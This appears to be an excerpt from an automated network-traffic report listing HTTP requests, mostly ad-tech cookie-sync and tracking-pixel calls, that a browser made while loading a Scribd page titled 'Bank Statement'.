Source: global traffic	HTTP traffic detected: GET /bootstrap/bootstrap.js HTTP/1.1Host: cdn.browsiprod.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X HTTP/1.1Host: de.tynt.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel;r=358473678;labels=title.Bank%20Statement%2Ctitle.Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine%2Ctitle.Bank%20Statement;rf=0;a=p-UeXruRVtZz7w6;url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement;ns=0;ce=1;qjs=1;qv=53b98956-20250121164344;ref=;dst=1;et=1739863211001;tzo=300;ogl=site_name.Scribd%2Ctitle.Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine%2Ctype.website%2Curl.https%3A%2F%2Fwww%252Escribd%252Ecom%2Fdocument%2F806838445%2FBank-Statement%2Ctitle.Bank%20Statement%2Cdescription.Scribd%20is%20the%20world's%20largest%20social%20reading%20and%20publishing%20site%252E%2Cimage.https%3A%2F%2Fimgv2-1-f%252Escribdassets%252Ecom%2Fimg%2Fdocument%2F806838445%2Foriginal%2F9a56996329%2F1%3F%2Cimage%3Aalt.Bank%20Statement%2Cimage%3Awidth.1200%2Cimage%3Aheight.630%2Cimage%3Atype.image%2Fwebp;ses=c44133b4-a64c-470c-8650-9157520283b6;d=scribd.com;uht=2;fpan=1;fpa=P0-702075309-1739863211008;pbc=;gdpr=0;us_privacy=1-N-;gpp=DBACOe~CQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA~BQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA~1-N-;gpp_sid=6;mdl= HTTP/1.1Host: pixel.quantserve.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /utils/xapi/multi-sync.html?p=12776 HTTP/1.1Host: secure-assets.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /api/user/image/55537adc33d1b40300987e8e?gdpr=&gdpr_consent=&redirect=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D%24%7BvdzUserSyncMacro%7D HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=6gvshk1&ttd_tpi=1&ttd_puid=67b434a8abd6b&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /?pubid=11280&gdpr=0&gdpr_consent=&redirect=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D93%26advUuid%3D%7Bviewer_token%7D HTTP/1.1Host: csync.loopme.meConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=sekindo&gdpr=0&gdpr_consent= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /js/usersync.html?gdpr=&gdpr_consent=&us_privacy=1-N-&redirect=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dundertone%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D%24UID HTTP/1.1Host: cdn.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=12776 HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /usermatchredir?s=191923&gdpr=0&gdpr_consent=&cb=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D99%26advUuid%3D HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /ups/58545/occ HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=793790479&3rddpi=1486637409&3rdpcid=86f8e4fd-fa23-4973-aa3d-d0448088be1a HTTP/1.1Host: sync.intentiq.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: intentIQ=aFMcRnXnrI; IQver=1.9; CSDT=UEQ6MTUxMDZfMCZVZDhhalVt; IQPData=137264061#1739863213349#0#1739863213349; IQMID=137264061#1739863213352; intentIQCDate=1739863213351; ASDT=0
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=fba3d144-1026-4d31-a758-943b9545e305&r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D39%26uid%3D%7BOPENX_ID%7D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=125&redir=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D54%26uid%3D%7BuserId%7D HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel/p-1ZHFxK2kGG5Cz.gif?labels=publisher.27975.space.115858,adsize.400x272 HTTP/1.1Host: pixel.quantserve.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /webfonts43j533.js HTTP/1.1Host: cdn.btmessage.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D105%26advUuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /supply/v5?sk=d_mapping&pk=scribd&url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&bid=lpcWMtnWlxNNbyRpmuNu&at=Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine&sw=1280&sh=1024&pvid=03e755e2-2f34-422d-82fc-145ed326d2a0&l=en HTTP/1.1Host: yield-manager.browsiprod.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=159988&gdpr=0&gdpr_consent=&us_privacy=1-N-&pu=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dpubmatics2s%26userId%3D%23PMUID%26gdpr%3D0%26gdpr_consent%3D%26us_privacy%3D1-N- HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ups/58818/sync?redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /utils/xapi/multi-sync.html?endpoint=us-east&p=rise_engage HTTP/1.1Host: secure-assets.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
